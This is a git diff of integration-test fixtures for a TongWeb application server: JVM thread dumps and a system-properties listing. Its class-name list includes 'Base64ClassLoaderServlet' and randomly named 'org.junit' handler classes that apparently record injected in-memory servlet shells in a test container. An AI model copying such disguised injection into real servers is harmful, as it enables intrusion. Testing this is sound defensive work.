- at java.lang.Object.wait(Native Method)
- at java.lang.Object.wait(Object.java:502)
- at com.tongweb.catalina.core.StandardServer.awaitJmx(StandardServer.java:499)
- at com.tongweb.catalina.core.StandardServer.await(StandardServer.java:457)
- at com.tongweb.catalina.startup.Catalina.await(Catalina.java:747)
- at com.tongweb.catalina.startup.ThanosCatalina.start(Unknown Source)
- at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
- at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
- at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
- at java.lang.reflect.Method.invoke(Method.java:498)
- at com.tongweb.catalina.startup.Bootstrap.start(Bootstrap.java:382)
- at com.tongweb.catalina.startup.Bootstrap.main(Bootstrap.java:536)
-
-"Thread-5" #28 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.EPoll.epollWait(Native Method)
- at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194)
- at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268)
- at java.lang.Thread.run(Thread.java:750)
-
-"http-nio-5100-exec-4" #120 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361
+"http-nio-5100-exec-5" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2f99958
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -805,32 +815,27 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-5100-AsyncTimeout" #130 daemon [TIMED_WAITING]
+"ContainerBackgroundProcessor[StandardEngine[TONGWEB]]" #100 daemon [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
at java.lang.Thread.sleep(Native Method)
- at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1279)
+ at com.tongweb.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1349)
at java.lang.Thread.run(Thread.java:750)
-"RMI TCP Connection(2)-192.168.215.4" #108 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at java.net.SocketInputStream.socketRead0(Native Method)
- at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
- at java.net.SocketInputStream.read(SocketInputStream.java:171)
- at java.net.SocketInputStream.read(SocketInputStream.java:141)
- at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
- at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
- at java.io.FilterInputStream.read(FilterInputStream.java:83)
- at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$17/1078591587.run(Unknown Source)
- at java.security.AccessController.doPrivileged(Native Method)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+"http-nio-5100-exec-3" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2f99958
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"JCA-default-thread-pool-worker-4" #94 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58
+"JCA-default-thread-pool-worker-2" #80 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7676449e
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -841,19 +846,13 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"Stateful cache" #102 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3254d46
+"http-nio-5100-AsyncTimeout" #118 daemon [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.sleep(Native Method)
+ at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1253)
at java.lang.Thread.run(Thread.java:750)
-"http-nio2-8080-exec-8" #36 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9
+"http-nio2-8080-exec-5" #33 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@47fb0763
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -867,13 +866,7 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"http-nio2-8080-AsyncTimeout" #116 daemon [TIMED_WAITING]
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Thread.sleep(Native Method)
- at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1279)
- at java.lang.Thread.run(Thread.java:750)
-
-"http-nio2-8080-exec-3" #31 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9
+"http-nio2-9060-exec-9" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6c60d58
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -887,31 +880,7 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"pool-2-thread-1" #158 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65e46813
- java.lang.Thread.State: TIMED_WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at java.lang.Thread.run(Thread.java:750)
-
-"RMI Scheduler(0)" #106 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@8221693
- java.lang.Thread.State: TIMED_WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at java.lang.Thread.run(Thread.java:750)
-
-"JCA-default-thread-pool-worker-8" #98 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58
+"JCA-default-thread-pool-worker-9" #87 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7676449e
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -922,7 +891,34 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"JCA-default-thread-pool-worker-3" #93 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58
+"main" #1 [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.PlainSocketImpl.socketAccept(Native Method)
+ at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
+ at java.net.ServerSocket.implAccept(ServerSocket.java:560)
+ at java.net.ServerSocket.accept(ServerSocket.java:528)
+ at com.tongweb.catalina.core.StandardServer.awaitSocket(StandardServer.java:510)
+ at com.tongweb.catalina.core.StandardServer.await(StandardServer.java:450)
+ at com.tongweb.catalina.startup.Catalina.await(Catalina.java:742)
+ at com.tongweb.catalina.startup.ThanosCatalina.start(Unknown Source)
+ at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+ at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+ at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+ at java.lang.reflect.Method.invoke(Method.java:498)
+ at com.tongweb.catalina.startup.Bootstrap.start(Bootstrap.java:378)
+ at com.tongweb.catalina.startup.Bootstrap.main(Bootstrap.java:530)
+
+"http-nio-5100-ClientPoller-0" #115 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:796)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-8" #86 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7676449e
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -933,18 +929,21 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"JCA-default-thread-pool-worker-6" #96 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58
+"http-nio2-9060-exec-6" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6c60d58
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"JCA-default-thread-pool-worker-9" #99 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58
+"JCA-default-thread-pool-worker-1" #79 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7676449e
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -955,30 +954,27 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"http-nio2-0.0.0.0-9060-Acceptor-0" #113 daemon [WAITING] on java.util.concurrent.CountDownLatch$Sync@553e19b8
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer.parkAndCheckInterrupt(AbstractQueuedSynchronizer.java:836)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer.doAcquireSharedInterruptibly(AbstractQueuedSynchronizer.java:997)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1304)
- at java.util.concurrent.CountDownLatch.await(CountDownLatch.java:231)
- at sun.nio.ch.PendingFuture.get(PendingFuture.java:180)
- at com.tongweb.web.util.net.Nio2Endpoint$Acceptor.run(Nio2Endpoint.java:444)
+"IntelligentRouterHealthInfoCollector" #161 [TIMED_WAITING] on java.util.TaskQueue@5c631a2d
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.util.TimerThread.mainLoop(Timer.java:552)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"http-nio2-8080-AsyncTimeout" #104 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1253)
at java.lang.Thread.run(Thread.java:750)
-"JCA-default-thread-pool-worker-2" #92 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+"http-nio-5100-Acceptor-0" #117 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
+ at com.tongweb.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:457)
at java.lang.Thread.run(Thread.java:750)
-"http-nio2-0.0.0.0-9060-exec-8" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404
+"http-nio-5100-exec-6" #110 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2f99958
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -992,32 +988,38 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"http-nio2-0.0.0.0-9060-exec-4" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404
- java.lang.Thread.State: WAITING
+"RMI TCP Accept-7200" #91 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.PlainSocketImpl.socketAccept(Native Method)
+ at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
+ at java.net.ServerSocket.implAccept(ServerSocket.java:560)
+ at java.net.ServerSocket.accept(ServerSocket.java:528)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
+ at java.lang.Thread.run(Thread.java:750)
+
+"pool-5-thread-1" #160 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@718b3cde
+ java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
- at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
- at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
- at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
- at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
- at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"http-nio2-0.0.0.0-9060-exec-10" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404
- java.lang.Thread.State: WAITING
+"RMI Scheduler(0)" #95 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@54ac8f1f
+ java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
- at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
- at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
- at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
- at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
- at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
@@ -1026,6 +1028,8 @@ ThreadStacks:
StackClassNames:
Base64ClassLoaderServlet
EmptyFilter
+ServletNameTestFilter
+UrlMappingTestFilter
com.tongweb.catalina.authenticator.AuthenticatorBase
com.tongweb.catalina.connector.CoyoteWriter
com.tongweb.catalina.connector.ThanosCoyoteAdaptor
@@ -1050,7 +1054,9 @@ com.tongweb.coyote.http11.Http11Processor
com.tongweb.coyote.http11.ThanosHttp11Processor
com.tongweb.tomee.catalina.OpenEJBSecurityListener$RequestCapturer
com.tongweb.tomee.catalina.OpenEJBValve
+com.tongweb.web.util.net.AbstractEndpoint
com.tongweb.web.util.net.Nio2Endpoint$Acceptor
+com.tongweb.web.util.net.Nio2Endpoint$Nio2SocketWrapper$4
com.tongweb.web.util.net.Nio2Endpoint$SocketProcessor
com.tongweb.web.util.net.NioBlockingSelector$BlockPoller
com.tongweb.web.util.net.NioEndpoint$Acceptor
@@ -1061,4 +1067,4 @@ com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker
com.tongweb.web.util.threads.TaskQueue
com.tongweb.web.util.threads.TaskThread$WrappingRunnable
com.tongweb.web.websocket.server.WsFilter
-org.junit.Uzcrn.ErrorHandler
+org.junit.YLznV.ErrorSektbHandler
diff --git a/integration-test/src/test/resources/infos/TongWeb7046ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/TongWeb7046ContainerTestBasicInfo.txt
new file mode 100644
index 00000000..079a6d3e
--- /dev/null
+++ b/integration-test/src/test/resources/infos/TongWeb7046ContainerTestBasicInfo.txt
@@ -0,0 +1,1115 @@
+# Generated At 2026-05-24 11:01:30
+SystemProps:
+java.vendor: Oracle Corporation
+tongweb.restart.interval: 1
+pid_file_path: /opt/tweb7/tongweb.pid
+sun.java.launcher: SUN_STANDARD
+sun.management.compiler: HotSpot 64-Bit Tiered Compilers
+catalina.useNaming: true
+os.name: Linux
+xss_defense: true
+openejb.provider.default: com.tongweb.tomee
+sun.boot.class.path: /opt/tweb7/lib/endorsed/annotation-api.jar:/usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes
+javax.security.jacc.PolicyConfigurationFactory.provider: com.tongweb.tongejb.core.security.JaccProvider$Factory
+disableResourceCache: true
+checkNonXADB: true
+java.vm.specification.vendor: Oracle Corporation
+java.runtime.version: 1.8.0_342-b07
+enable_query_cache: false
+tomee.version: ${pom.version}
+user.name: root
+openejb.deployments.classpath.filter.systemapps: false
+shared.loader: ${tongweb.home}/lib/common,${tongweb.home}/lib/common/*.jar,${tongweb.home}/lib/classes/,${tongweb.base}/lib/common,${tongweb.base}/lib/common/*.jar,${tongweb.base}/lib/classes/
+openejb.loader: webtier-system
+genSessionCookieNameForContext: console
+tongweb.home: /opt/tweb7
+java.naming.factory.initial: com.tongweb.naming.java.javaURLContextFactory
+user.language: en
+derby.system.home: /opt/tweb7/bin
+ibm.stream.nio: true
+sun.boot.library.path: /usr/local/openjdk-8/jre/lib/amd64
+openejb.deployments.classpath: false
+resLowversionLoad: false
+tongweb.java: /usr/local/openjdk-8
+java.version: 1.8.0_342
+java.util.logging.manager: com.tongweb.log.TongwebLogManager
+user.timezone: Etc/UTC
+java.net.preferIPv4Stack: false
+tongweb.X_Frame_Options: SAMEORIGIN
+sun.arch.data.model: 64
+tongweb.util.buf.StringCache.byte.enabled: true
+LoadClassCache.Disabled: true
+tongweb.upload: /opt/tweb7/temp/upload
+java.endorsed.dirs: /opt/tweb7/lib/endorsed
+sun.cpu.isalist:
+sun.jnu.encoding: UTF-8
+file.encoding.pkg: sun.io
+package.access: sun.,com.tongweb.catalina.,com.tongweb.coyote.,com.tongweb.jasper.,com.tongweb.web.
+file.separator: /
+java.specification.name: Java Platform API Specification
+tongweb.jmx.remote.x.access.file: /opt/tweb7/conf/security/jmxremote.access
+java.class.version: 52.0
+tongweb.util.scan.StandardJarScanFilter.jarsToSkip: bootstrap.jar,commons-daemon.jar,annotations-api.jar,el-api.jar,jsp-api.jar,servlet-api.jar,websocket-api.jar,jaspic-api.jar,catalina.jar,catalina-ant.jar,catalina-ha.jar,catalina-storeconfig.jar,catalina-tribes.jar,jasper.jar,jasper-el.jar,ecj-*.jar,catalina-jmx-remote.jar,catalina-ws.jar,tools.jar,commons-beanutils*.jar,commons-codec*.jar,commons-collections*.jar,commons-dbcp*.jar,commons-digester*.jar,commons-fileupload*.jar,commons-httpclient*.jar,commons-io*.jar,commons-lang*.jar,commons-logging*.jar,commons-math*.jar,commons-pool*.jar,jstl.jar,taglibs-standard-spec-*.jar,geronimo-spec-jaxrpc*.jar,wsdl4j*.jar,ant.jar,ant-junit*.jar,aspectj*.jar,jmx.jar,h2*.jar,hibernate*.jar,httpclient*.jar,jmx-tools.jar,jta*.jar,log4j*.jar,mail*.jar,slf4j*.jar,xercesImpl.jar,xmlParserAPIs.jar,xml-apis.jar,junit.jar,junit-*.jar,hamcrest-*.jar,easymock-*.jar,cglib-*.jar,objenesis-*.jar,ant-launcher.jar,oraclepki.jar,cobertura-*.jar,asm-*.jar,dom4j-*.jar,icu4j-*.jar,jaxen-*.jar,jdom-*.jar,jetty-*.jar,oro-*.jar,servlet-api-*.jar,tagsoup-*.jar,xmlParserAPIs-*.jar,xom-*.jar
+tomee.remote.support: false
+java.home: /usr/local/openjdk-8/jre
+java.vm.info: mixed mode
+os.version: 6.8.0-111-generic
+com.tongweb.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal
+openejb.embedder.source: ThanosServerListener
+tongweb.sysapp: /opt/tweb7/applications
+compatibleWithWas: false
+path.separator: :
+TONGTECH_BC_JAR_PATH: /opt/tweb7/lib/bc/bcprov.jar
+java.vm.version: 25.342-b07
+bval.in-container: true
+com.tongweb.webbeans.logger.WebBeansLoggerFacade: com.tongweb.tongejb.cdi.logging.ContainerJULLoggerFactory
+useInsAnnoCheckCache: false
+java.awt.printerjob: sun.print.PSPrinterJob
+authconfigprovider.factory: false
+java.security.policy: /opt/tweb7/conf/tongweb.policy
+sun.io.unicode.encoding: UnicodeLittle
+awt.toolkit: sun.awt.X11.XToolkit
+tongweb.base: /opt/tweb7
+package.definition: sun.,java.,com.tongweb.catalina.,com.tongweb.coyote.,com.tongweb.jasper.,com.tongweb.naming.,com.tongweb.web.
+tongweb.app: /opt/tweb7/deployment
+java.naming.factory.url.pkgs: com.tongweb.naming:com.tongweb.tongejb.core.ivm.naming
+openejb.home: /opt/tweb7
+java.security.egd: file:/dev/./urandom
+user.home: /root
